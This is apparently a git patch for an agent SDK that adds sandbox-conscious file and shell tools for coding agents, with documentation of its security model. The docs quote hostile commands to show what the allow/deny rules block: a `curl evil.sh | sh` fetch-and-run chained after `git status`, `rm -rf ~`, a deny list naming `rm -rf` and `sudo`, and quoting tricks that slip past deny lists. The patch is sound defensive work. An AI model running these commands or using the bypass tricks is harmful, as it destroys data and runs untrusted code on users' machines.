From f8abe79d656d6bc241444940c9387c1c1e5e8665 Mon Sep 17 00:00:00 2001 From: Ali Mohammad Date: Thu, 1 Oct 2026 09:58:08 +0300 Subject: [PATCH 1/2] LOU-X6: workspace tools over pluggable FsProvider/ShellProvider Adds file system and shell tools for Claude-Code-style coding agents (src/tools/workspace, exported from the tools barrel and the root): - FsProvider / ShellProvider: small documented interfaces so the tools run against any backend (local dir, memory, Docker, E2B/Daytona/Cloudflare). - createFsTools(fs, options?): read_file (numbered lines, offset/limit, capped with a continue hint), write_file, edit_file (exact replacement, helpful errors for missing / non-unique old_string unless replace_all), list_dir, glob, grep (invalid regex is a clean tool error). readOnly and per-tool needsApproval options. - createShellTool(shell, options?): needsApproval defaults to true (or a predicate over the command); allow/deny patterns checked before approval (string allow patterns refuse shell operators so `git status; rm -rf ~` does not pass); timeout default 120s, clamped to maxTimeoutMs; output capped keeping head and tail; the run's AbortSignal kills the process. - NodeWorkspace: every path is normalized (no .., absolute, drive-letter, UNC, NUL; mixed separators; Windows ADS/device names) and resolved with realpath on the deepest existing ancestor, so symlinks pointing outside the root are rejected, including for not-yet-existing write targets and dangling links. Commands run with cwd = root and an allow-listed env (PATH, HOME/USERPROFILE, TEMP/TMP, LANG + Windows essentials), so host API keys do not leak. Timeout/abort kill the whole process tree (process group on POSIX, taskkill /T on Windows). - MemoryWorkspace: in-memory tree with the same path rules and a programmable, recorded exec stub for tests. - SandboxShell: ShellProvider over any SandboxAdapter (e.g. the Docker SubprocessSandbox). Rejections are WorkspaceErrors, which reach the model as structured tool errors instead of aborting the run. docs/workspace-tools.md spells out the security model, including that NodeWorkspace's shell is not a sandbox. Co-Authored-By: Claude Opus 5.5 --- README.md | 2 + docs/api-overview.md | 2 + docs/workspace-tools.md | 291 +++++++++++++++++++++ src/tools/index.ts | 1 + src/tools/workspace/MemoryWorkspace.ts | 162 ++++++++++++ src/tools/workspace/NodeWorkspace.test.ts | 294 ++++++++++++++++++++++ src/tools/workspace/NodeWorkspace.ts | 269 ++++++++++++++++++++ src/tools/workspace/SandboxShell.test.ts | 63 +++++ src/tools/workspace/SandboxShell.ts | 83 ++++++ src/tools/workspace/fsOperations.ts | 233 +++++++++++++++++ src/tools/workspace/fsTools.test.ts | 271 ++++++++++++++++++++ src/tools/workspace/fsTools.ts | 180 +++++++++++++ src/tools/workspace/glob.ts | 112 +++++++++ src/tools/workspace/index.ts | 32 +++ src/tools/workspace/nodeProcess.ts | 160 ++++++++++++ src/tools/workspace/paths.test.ts | 86 +++++++ src/tools/workspace/paths.ts | 105 ++++++++ src/tools/workspace/shellTool.test.ts | 143 +++++++++++ src/tools/workspace/shellTool.ts | 185 ++++++++++++++ src/tools/workspace/types.ts | 121 +++++++++ 20 files changed, 2795 insertions(+) create mode 100644 docs/workspace-tools.md create mode 100644 src/tools/workspace/MemoryWorkspace.ts create mode 100644 src/tools/workspace/NodeWorkspace.test.ts create mode 100644 src/tools/workspace/NodeWorkspace.ts create mode 100644 src/tools/workspace/SandboxShell.test.ts create mode 100644 src/tools/workspace/SandboxShell.ts create mode 100644 src/tools/workspace/fsOperations.ts create mode 100644 src/tools/workspace/fsTools.test.ts create mode 100644 src/tools/workspace/fsTools.ts create mode 100644 src/tools/workspace/glob.ts create mode 100644 src/tools/workspace/index.ts create mode 100644 src/tools/workspace/nodeProcess.ts create mode 100644 src/tools/workspace/paths.test.ts create mode 100644 src/tools/workspace/paths.ts create mode 100644 src/tools/workspace/shellTool.test.ts create mode 100644 src/tools/workspace/shellTool.ts create mode 100644 src/tools/workspace/types.ts diff --git a/README.md b/README.md index b53c00fce..1e5dd1441 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,7 @@ dashboard — any provider, any deploy target, no lock-in. - **Multi-agent delegation** — wrap a child agent as a tool with `createDelegateTool()`, with a `maxDepth` guard against delegation loops - **Pre/post hooks** — a `HookRegistry` of `AgentHook`s that can inspect or mutate a tool call/LLM generate step, or throw to abort it, run sandboxed by Agent Forge's hook editor - **Guardrails** — fail-closed, concurrently-run checks (secret scan, diff size, test/lint commands) that gate a fixer agent's patch before it's used +- **Workspace tools** — `createFsTools()` (`read_file`, `write_file`, `edit_file`, `list_dir`, `glob`, `grep`) and `createShellTool()` over pluggable `FsProvider`/`ShellProvider` backends (`NodeWorkspace`, `MemoryWorkspace`, Docker-backed `SandboxShell`), with paths confined to the workspace root (symlinks included) and shell commands approval-gated by default — see [Workspace tools](docs/workspace-tools.md) - **MCP client** — `loadMcpTools()` turns any Model Context Protocol server's tools into `ToolDescriptor`s - **Sandboxed tools** — opt a tool into `requiresSandbox` to route it through a Docker-backed `SandboxAdapter` instead of in-process - **Tracing & evals** — `withSpan()`/`TraceExporter` (with an OpenTelemetry bridge at `/otel`) for observability, and `defineEval()` for agent-behavior regression tests under `vitest` @@ -195,6 +196,7 @@ console.log(result.usage.totalTokens, result.finishReason, result.steps); - [Configuration](docs/configuration.md) - agent spec fields, provider env vars, `AgentExecutor.execute()` options, CLI flags - [Deployment](docs/deployment.md) - `loushy build` targets: Node server, Docker, Cloudflare Workers - [API Overview](docs/api-overview.md) - the main exports; `npm run docs:build` generates the full TypeDoc reference +- [Workspace tools](docs/workspace-tools.md) - file system and shell tools for coding agents, and their security model - [Testing](docs/testing.md) - unit-test agents deterministically with the scripted `mockModel` - [Agent Forge](docs/agent-forge.md) - the visual dashboard (`loushy studio`): quickstart, first-agent walkthrough, hook authoring - Full guides site: [linuxdevil.github.io/agent-sdk-docs](https://linuxdevil.github.io/agent-sdk-docs/) diff --git a/docs/api-overview.md b/docs/api-overview.md index 1217564eb..eb5b373b4 100644 --- a/docs/api-overview.md +++ b/docs/api-overview.md @@ -97,6 +97,8 @@ Exported from `@loushy/build-ai-agent/testing` (see [Testing agents](testing.md) | `ToolInput`, `ToolOutput` | Argument and result types of a defined tool. | | `ToolRegistry` | Holds the tools an agent config refers to (advanced: `register(tool)` or `register(name, descriptor)`). | | `httpTool`, `currentDateTool`, `dayNameTool` | Built-in tools. | +| `createFsTools(fs, options?)`, `createShellTool(shell, options?)` | Workspace tools (`read_file`, `write_file`, `edit_file`, `list_dir`, `glob`, `grep`, `shell`) over an `FsProvider` / `ShellProvider`. See [Workspace tools](workspace-tools.md). | +| `NodeWorkspace`, `MemoryWorkspace`, `SandboxShell` | Workspace providers: a real directory (paths confined to `root`, minimal shell env), an in-memory tree with a scripted `exec` for tests, and a `ShellProvider` over a `SandboxAdapter` (Docker). | | `loadMcpTools(client, connectionName)` | Load a connected MCP server's tools as `ToolDescriptor`s. Available from the package root, `@loushy/build-ai-agent/tools`, and `@loushy/build-ai-agent/mcp`. | ```ts diff --git a/docs/workspace-tools.md b/docs/workspace-tools.md new file mode 100644 index 000000000..017cfe5be --- /dev/null +++ b/docs/workspace-tools.md @@ -0,0 +1,291 @@ +# Workspace tools + +Workspace tools give an agent a file system and a shell, so you can build +coding agents in the style of Claude Code. The tools never use `node:fs` or +`node:child_process` themselves. They call two small interfaces, +`FsProvider` and `ShellProvider`, so the same tools work against a local +directory, an in-memory tree in tests, a Docker container, or a remote +sandbox such as E2B, Daytona or Cloudflare. + +```ts +import { AgentExecutor, ToolRegistry, NodeWorkspace, createFsTools, createShellTool } from '@loushy/build-ai-agent'; + +const workspace = new NodeWorkspace({ root: '.' }); // every path is confined to this directory +const registry = new ToolRegistry(); +registry.registerMany([...createFsTools(workspace), createShellTool(workspace)]); + +// The shell tool needs approval by default, so the run pauses before any command runs. +const paused = await AgentExecutor.execute({ agent, input, provider, toolRegistry: registry, approvalStore }); +// paused.finishReason === 'awaiting-approval' -> resumeAfterApproval(...) once a human approves +``` + +`createAgent()` has no approval store. If you use it, choose which commands +may run without asking: pass `needsApproval: false` together with an `allow` +list, or a `needsApproval` predicate that returns `false` for the commands +you trust. A tool call that needs approval makes a `createAgent()` run throw. + +```ts +import { createAgent, NodeWorkspace, createFsTools, createShellTool } from '@loushy/build-ai-agent'; + +const workspace = new NodeWorkspace({ root: './project' }); +const agent = createAgent({ + prompt: 'You are a careful coding assistant. Run the tests after every change.', + provider, + tools: [ + ...createFsTools(workspace), + createShellTool(workspace, { needsApproval: false, allow: ['npm test', 'npm run lint', 'git status', 'git diff'] }), + ], +}); +const result = await agent.send('Fix the failing test in src/math.test.ts'); +``` + +## The tools + +`createFsTools(fs, options?)` returns these `defineTool` tools: + +| Tool | Arguments | Returns | +| ------------ | ------------------------------------------------- | ------- | +| `read_file` | `path`, optional `offset` (1-based line), `limit` | Numbered lines (`" 12\tcode"`). When the output is cut, the last line says which lines were shown and the `offset` to continue from. Files over 10 MB are refused. | +| `write_file` | `path`, `content` | Creates or overwrites the file and creates missing parent directories. | +| `edit_file` | `path`, `old_string`, `new_string`, optional `replace_all` | Replaces the exact text. Fails with a message the model can act on when `old_string` is missing (including a hint about CRLF line endings) or appears more than once without `replace_all`. | +| `list_dir` | optional `path` | Sorted entries; directories end with `/`. | +| `glob` | `pattern`, optional `path` | Sorted paths of matching files. `*` stays within one directory, `**` crosses directories, plus `?`, `[abc]` and `{a,b}`. | +| `grep` | `pattern` (JavaScript regex), optional `path`, `glob`, `ignore_case` | `path:line: text` for each matching line. An invalid regex is a tool error. Binary files and files over 2 MB are skipped. | + +| Option | Default | Meaning | +| ----------------- | --------------------------- | ------- | +| `readOnly` | `false` | Only create `read_file`, `list_dir`, `glob` and `grep`. | +| `needsApproval` | none | Per tool: `{ write_file: true, edit_file: ({ path }) => !path.startsWith('src/') }`. | +| `maxReadLines` | 2000 | Most lines `read_file` returns per call. | +| `maxOutputChars` | 50,000 | Most characters a tool returns per call. | +| `maxResults` | 200 | Most paths, matches or entries `glob`, `grep` and `list_dir` return. | +| `maxFilesScanned` | 20,000 | Most files a `glob` or `grep` walk visits. | +| `ignore` | `['.git', 'node_modules']` | Directory names `glob` and `grep` skip. | + +`createShellTool(shell, options?)` returns one tool, `shell`, that takes +`command` and an optional `timeout_ms`. It returns +`{ exitCode, stdout, stderr }`. When the command was killed, the result also +has `timedOut: true` or `aborted: true` and a `note` saying why. + +| Option | Default | Meaning | +| ------------------ | --------- | ------- | +| `needsApproval` | `true` | `true`, `false`, or a predicate over the command string. | +| `allow` | none | When set, only matching commands may run. | +| `deny` | none | Matching commands are refused. | +| `defaultTimeoutMs` | 120,000 | Timeout when the model does not pass `timeout_ms`. | +| `maxTimeoutMs` | 600,000 | A larger `timeout_ms` is lowered to this value. | +| `maxOutputChars` | 30,000 | Per stream. Beyond this the start and end of the output are kept and the middle is replaced by a marker. | +| `cwd`, `env` | none | Working directory (relative to the workspace) and extra variables for every command. | +| `name` | `'shell'` | Tool name. | + +```ts +import { createShellTool, NodeWorkspace } from '@loushy/build-ai-agent'; + +const shell = createShellTool(new NodeWorkspace({ root: '.' }), { + needsApproval: (command) => !/^(ls|cat|git (status|diff|log))\b/.test(command), // read-only commands run without asking + deny: ['rm -rf', /\bsudo\b/], + defaultTimeoutMs: 60_000, +}); +``` + +Cancelling the run (`agent.send(input, { signal })` or +`AgentExecutor.execute({ signal })`) kills the running command together with +every process it started: a process group on Linux and macOS, and +`taskkill /T` on Windows. + +## Security model + +Read this before you give a model a shell. + +### What is enforced + +**Paths stay inside the root.** Before any file is touched, `NodeWorkspace` +(and `MemoryWorkspace`) normalizes each path. These are rejected on every +platform: + +- `..` that climbs above the root (`../secret`, `src/../../secret`) +- absolute paths (`/etc/passwd`, and an absolute path that points inside the root) +- Windows drive letters (`C:\Windows`, `C:secret`) +- UNC and extended-length paths (`\\server\share`, `//server/share`, `\\?\C:\`) +- NUL bytes + +Backslashes count as separators everywhere, so mixing separators +(`src/..\..\secret`) cannot hide a `..`. On Windows, `:` (alternate data +streams), reserved device names (`CON`, `NUL`, `COM1`, ...) and segments made +only of dots and spaces (Windows drops trailing dots and spaces, so `.. ` +would act as `..`) are rejected too. + +**Symlinks cannot escape.** After that check, `NodeWorkspace` resolves the +path with `realpath`. If the path does not exist yet, it resolves the deepest +part that does exist. The result must still be inside the root's own real +path. This means: + +- A link inside the root that points outside it is rejected for reads, and + for writes to files that do not exist yet (`escape-link/new.txt`). +- A link whose target does not exist is never followed, because writing + through it could create a file outside the root. +- `glob` and `grep` never follow links while walking the tree. +- `rm` on a link removes the link itself and leaves its target alone. + +**Rejections are tool errors.** A refused path, a missing file or an +ambiguous edit throws a `WorkspaceError` inside the tool. The model receives +`{ "error": "WorkspaceError", "toolName": "read_file", "message": "..." }` +and the run continues. Messages show the workspace path, never the host +path. + +**Commands get a minimal environment.** `NodeWorkspace` runs commands with +`cwd` set to the root. It does not pass on the parent process's environment. +Only `PATH`, `HOME`, `USERPROFILE`, `TEMP`, `TMP`, `TMPDIR` and `LANG` are +copied, plus `SystemRoot`, `SystemDrive`, `ComSpec`, `PATHEXT` and `WINDIR` +on Windows, because cmd.exe and most programs need them to start. So +`OPENAI_API_KEY` and other secrets in your server's environment are not +visible to commands the model writes. To give commands more, either pass +values (`env: { GITHUB_TOKEN: scopedToken }`) or name host variables to copy +(`inheritEnv: ['CI']`). Anything you pass this way is visible to the model. + +```ts +import { NodeWorkspace } from '@loushy/build-ai-agent'; + +const workspace = new NodeWorkspace({ + root: './project', + env: { NODE_ENV: 'test' }, // added for every command + inheritEnv: ['CI', 'NODE_OPTIONS'], // copied from the host environment +}); +``` + +**The shell tool needs approval by default.** Unless you choose otherwise, +every command waits for a human. `allow` and `deny` are checked first, so a +refused command is never offered for approval: + +- A string pattern matches a command that is exactly the pattern, or starts + with it followed by a space (`'git status'` matches `git status -s`). +- In `allow`, a command matched only by a string pattern must not contain + shell operators (`;` `&` `|` `` ` `` `$(` `<` `>` or a newline). This stops + `git status; curl evil.sh | sh` from passing as `git status`. +- A RegExp is tested against the whole command line, so anchor it: + `/^npm (test|run lint)$/`. +- `deny` string patterns are checked against each `;`, `&` or `|` separated + part of the command. + +### What is NOT enforced + +- **`NodeWorkspace`'s shell is not a sandbox.** Path confinement applies to + the file tools only. A command runs as your OS user and can read, write or + delete anything that user can, including `../` and `~/.ssh`, and it can use + the network. Approval and `allow` lists reduce the risk, but they are not + isolation. For untrusted input, such as prompts from the public or content + fetched from the web, give the shell tool a sandbox-backed `ShellProvider` + (see below) and use the file tools with `readOnly: true` or approval. +- **A deny list is a convenience.** A shell has many ways to write the same + command (`r''m -rf`, `$(echo rm)`, an extra space, a script file), so do not + rely on `deny` for security. Use `allow` for that. +- **Races and hard links.** Paths are checked, then used. A process that + swaps a directory for a symlink between those two steps can get around the + check. Such a process already has local access, for example a command the + shell tool ran without a sandbox. A hard link inside the root to a file + outside it cannot be detected. +- **`grep` runs the model's regex in your process.** A pathological pattern + can be slow. Lines and files are capped, but the regex engine itself is not + time-limited. + +### Sandboxed shell: `SandboxShell` + +`SandboxShell` adapts any `SandboxAdapter`, for example the Docker-backed +`SubprocessSandbox`, into a `ShellProvider`. Each command runs as +`sh -c ""` in a new container with no network. The container sees +only `cwd`, which is bind-mounted at the same path. It gets only the `env` +you pass, nothing from the host. File tools can keep using `NodeWorkspace` +on the same directory: + +```ts +import { createFsTools, createShellTool, NodeWorkspace, SandboxShell, SubprocessSandbox } from '@loushy/build-ai-agent'; + +const workspace = new NodeWorkspace({ root: './project' }); +const shell = new SandboxShell(new SubprocessSandbox({ image: 'node:20-alpine' }), { cwd: workspace.root }); +const tools = [...createFsTools(workspace), createShellTool(shell, { needsApproval: false })]; +``` + +`SandboxAdapter` has no way to cancel a command. When the run is aborted, +`SandboxShell` returns `aborted: true` immediately, but the container keeps +running until its timeout kills it. The shell tool always sets a timeout, so +the container does stop. + +## Writing your own provider + +Both interfaces are small. Paths are workspace-relative and use `/`. +`normalizeWorkspacePath()` applies the same checks the built-in providers +use. A provider exposed to a model must confine paths itself, because a +custom tool could call it directly. Throw `WorkspaceError` with a readable +message on failure. + +```ts +import { normalizeWorkspacePath, WorkspaceError, type FsProvider, type ShellProvider } from '@loushy/build-ai-agent'; + +// A stand-in for your remote sandbox SDK (E2B, Daytona, Cloudflare, ...). +declare const remote: { + read(path: string): Promise; + write(path: string, data: string): Promise; + list(path: string): Promise<{ name: string; dir: boolean }[]>; + run(cmd: string, opts: { cwd: string; timeoutMs?: number }): Promise<{ out: string; err: string; code: number }>; +}; +const base = '/home/user/project'; +const abs = (path: string) => `${base}/${normalizeWorkspacePath(path, 'posix')}`; + +export const remoteFs: FsProvider = { + async readFile(path) { + const data = await remote.read(abs(path)); + if (data === null) throw new WorkspaceError(`File not found: ${path}`); + return data; + }, + writeFile: (path, content) => remote.write(abs(path), content), + async stat(path) { + const data = await remote.read(abs(path)); + return data === null ? undefined : { type: 'file', size: data.length }; + }, + async readdir(path) { + return (await remote.list(abs(path))).map((e) => ({ name: e.name, type: e.dir ? 'directory' : 'file' })); + }, + async mkdir(path) { await remote.run(`mkdir -p '${abs(path)}'`, { cwd: base }); }, + async rm(path, options) { await remote.run(`rm ${options?.recursive ? '-r ' : ''}'${abs(path)}'`, { cwd: base }); }, +}; + +export const remoteShell: ShellProvider = { + async exec(command, options = {}) { + const r = await remote.run(command, { cwd: abs(options.cwd ?? '.'), timeoutMs: options.timeoutMs }); + return { stdout: r.out, stderr: r.err, exitCode: r.code, timedOut: false }; + }, +}; +``` + +`ShellProvider.exec` should resolve, not reject, for a non-zero exit code, +a timeout (`timedOut: true`) or an abort (`aborted: true`). It should reject +only when the command could not be started. + +## Testing with `MemoryWorkspace` + +`MemoryWorkspace` keeps the file tree in memory and checks paths the same +way. Its `exec` is a stub you program, and every command it receives is +recorded. Combine it with `mockModel` for deterministic tests: + +```ts +import { createAgent, createFsTools, createShellTool, MemoryWorkspace } from '@loushy/build-ai-agent'; +import { mockModel } from '@loushy/build-ai-agent/testing'; + +const workspace = new MemoryWorkspace({ + files: { 'src/math.ts': 'export const add = (a: number, b: number) => a - b;\n' }, + exec: (command) => (command === 'npm test' ? { stdout: '1 passed\n' } : { exitCode: 1, stderr: 'unknown command\n' }), +}); +const provider = mockModel([ + { toolCalls: [{ name: 'edit_file', args: { path: 'src/math.ts', old_string: 'a - b', new_string: 'a + b' } }] }, + { toolCalls: [{ name: 'shell', args: { command: 'npm test' } }] }, + 'Fixed add() and the tests pass.', +]); +const agent = createAgent({ + prompt: 'Fix bugs.', + provider, + tools: [...createFsTools(workspace), createShellTool(workspace, { needsApproval: false })], +}); +await agent.send('add() is broken'); +console.log(workspace.snapshot()['src/math.ts']); // '... a + b;\n' +console.log(workspace.commands.map((c) => c.command)); // ['npm test'] +``` diff --git a/src/tools/index.ts b/src/tools/index.ts index 6ffdc871a..30bdf73f5 100644 --- a/src/tools/index.ts +++ b/src/tools/index.ts @@ -3,3 +3,4 @@ export * from './defineTool'; export * from './built-in'; export * from './mcp'; +export * from './workspace'; diff --git a/src/tools/workspace/MemoryWorkspace.ts b/src/tools/workspace/MemoryWorkspace.ts new file mode 100644 index 000000000..3e5748504 --- /dev/null +++ b/src/tools/workspace/MemoryWorkspace.ts @@ -0,0 +1,162 @@ +/** + * MemoryWorkspace: an in-memory Workspace for tests and demos (LOU-X6). + */ +import type { + ShellExecOptions, + ShellExecResult, + Workspace, + WorkspaceDirEntry, + WorkspaceStat, +} from './types'; +import { normalizeWorkspacePath, parentWorkspacePath, WorkspaceError } from './paths'; + +/** A scripted reply for {@link MemoryWorkspace.exec}; missing fields default to success. */ +export type MemoryExecReply = Partial; + +/** Programs {@link MemoryWorkspace.exec}: receives each command and returns (or resolves) its result. */ +export type MemoryExecHandler = ( + command: string, + options: ShellExecOptions +) => MemoryExecReply | Promise; + +/** Options for {@link MemoryWorkspace}. */ +export interface MemoryWorkspaceOptions { + /** Initial files, keyed by workspace-relative path. Parent directories are created. */ + files?: Record; + /** Scripted shell. Without it every command fails with exit code 127. */ + exec?: MemoryExecHandler; +} + +/** A command recorded by {@link MemoryWorkspace.exec}. */ +export interface MemoryExecCall { + command: string; + options: ShellExecOptions; +} + +function byteLength(text: string): number { + return Buffer.byteLength(text, 'utf8'); +} + +/** + * An in-memory {@link Workspace}: a file tree held in a `Map` plus a + * scripted, programmable `exec`. Paths are validated exactly like + * `NodeWorkspace` validates them (no `..` escapes, no absolute paths), so + * tests written against it exercise the same rejections. + * + * @example + * ```ts + * import { MemoryWorkspace } from '@loushy/build-ai-agent'; + * const ws = new MemoryWorkspace({ + * files: { 'src/a.ts': 'export const a = 1;\n' }, + * exec: (command) => (command === 'npm test' ? { stdout: 'ok\n' } : { exitCode: 1, stderr: 'unknown\n' }), + * }); + * await ws.writeFile('src/b.ts', 'export const b = 2;\n'); + * const result = await ws.exec('npm test'); // { stdout: 'ok\n', exitCode: 0, ... } + * console.log(ws.commands.map((c) => c.command)); // ['npm test'] + * ``` + */ +export class MemoryWorkspace implements Workspace { + private readonly files = new Map(); + private readonly dirs = new Set(['.']); + private readonly handler?: MemoryExecHandler; + /** Every command passed to `exec`, in order. */ + readonly commands: MemoryExecCall[] = []; + + constructor(options: MemoryWorkspaceOptions = {}) { + this.handler = options.exec; + for (const [path, content] of Object.entries(options.files ?? {})) { + this.put(normalizeWorkspacePath(path), content); + } + } + + /** A snapshot of every file, keyed by normalized path (handy for assertions). */ + snapshot(): Record { + return Object.fromEntries([...this.files.entries()].sort(([a], [b]) => (a < b ? -1 : 1))); + } + + async readFile(path: string): Promise { + const key = normalizeWorkspacePath(path); + const content = this.files.get(key); + if (content !== undefined) return content; + throw new WorkspaceError(this.dirs.has(key) ? `${key} is a directory, not a file.` : `File not found: ${key}`); + } + + async writeFile(path: string, content: string): Promise { + const key = normalizeWorkspacePath(path); + if (this.dirs.has(key)) throw new WorkspaceError(`${key} is a directory, not a file.`); + this.put(key, content); + } + + async stat(path: string): Promise { + const key = normalizeWorkspacePath(path); + const content = this.files.get(key); + if (content !== undefined) return { type: 'file', size: byteLength(content) }; + return this.dirs.has(key) ? { type: 'directory', size: 0 } : undefined; + } + + async readdir(path: string): Promise { + const key = normalizeWorkspacePath(path); + if (!this.dirs.has(key)) { + throw new WorkspaceError(this.files.has(key) ? `${key} is a file, not a directory.` : `Directory not found: ${key}`); + } + const entries: WorkspaceDirEntry[] = []; + for (const dir of this.dirs) { + if (dir !== '.' && parentWorkspacePath(dir) === key) entries.push({ name: dir.slice(dir.lastIndexOf('/') + 1), type: 'directory' }); + } + for (const file of this.files.keys()) { + if (parentWorkspacePath(file) === key) entries.push({ name: file.slice(file.lastIndexOf('/') + 1), type: 'file' }); + } + return entries; + } + + async mkdir(path: string): Promise { + const key = normalizeWorkspacePath(path); + if (this.files.has(key)) throw new WorkspaceError(`${key} is a file, not a directory.`); + this.ensureDir(key); + } + + async rm(path: string, options: { recursive?: boolean } = {}): Promise { + const key = normalizeWorkspacePath(path); + if (key === '.') throw new WorkspaceError('Refusing to remove the workspace root.'); + if (this.files.delete(key)) return; + if (!this.dirs.has(key)) throw new WorkspaceError(`Not found: ${key}`); + const prefix = `${key}/`; + const children = [...this.files.keys(), ...this.dirs].filter((p) => p.startsWith(prefix)); + if (children.length > 0 && !options.recursive) { + throw new WorkspaceError(`Directory ${key} is not empty; pass { recursive: true } to remove it.`); + } + for (const child of children) { + this.files.delete(child); + this.dirs.delete(child); + } + this.dirs.delete(key); + } + + /** Runs the scripted handler (or fails with 127 when none is configured) and records the call. */ + async exec(command: string, options: ShellExecOptions = {}): Promise { + this.commands.push({ command, options }); + if (!this.handler) { + return { + stdout: '', + stderr: 'MemoryWorkspace: no exec handler configured. Pass new MemoryWorkspace({ exec: (command) => ({ stdout: "..." }) }).\n', + exitCode: 127, + timedOut: false, + }; + } + const reply = await this.handler(command, options); + return { stdout: '', stderr: '', exitCode: 0, timedOut: false, ...reply }; + } + + private put(key: string, content: string): void { + if (key === '.') throw new WorkspaceError('Cannot write a file at the workspace root path ".".'); + this.ensureDir(parentWorkspacePath(key)); + this.files.set(key, content); + } + + private ensureDir(key: string): void { + for (let dir = key; !this.dirs.has(dir); dir = parentWorkspacePath(dir)) { + if (this.files.has(dir)) throw new WorkspaceError(`${dir} is a file, not a directory.`); + this.dirs.add(dir); + } + } +} diff --git a/src/tools/workspace/NodeWorkspace.test.ts b/src/tools/workspace/NodeWorkspace.test.ts new file mode 100644 index 000000000..460940c7f --- /dev/null +++ b/src/tools/workspace/NodeWorkspace.test.ts @@ -0,0 +1,294 @@ +import { describe, it, expect, beforeAll, afterAll } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; +import type { DefinedTool } from '../defineTool'; +import { NodeWorkspace } from './NodeWorkspace'; +import { createFsTools } from './fsTools'; +import { createShellTool } from './shellTool'; +import { WorkspaceError } from './paths'; + +const IS_WINDOWS = process.platform === 'win32'; +const NODE = JSON.stringify(process.execPath); +/** A shell command running `node -e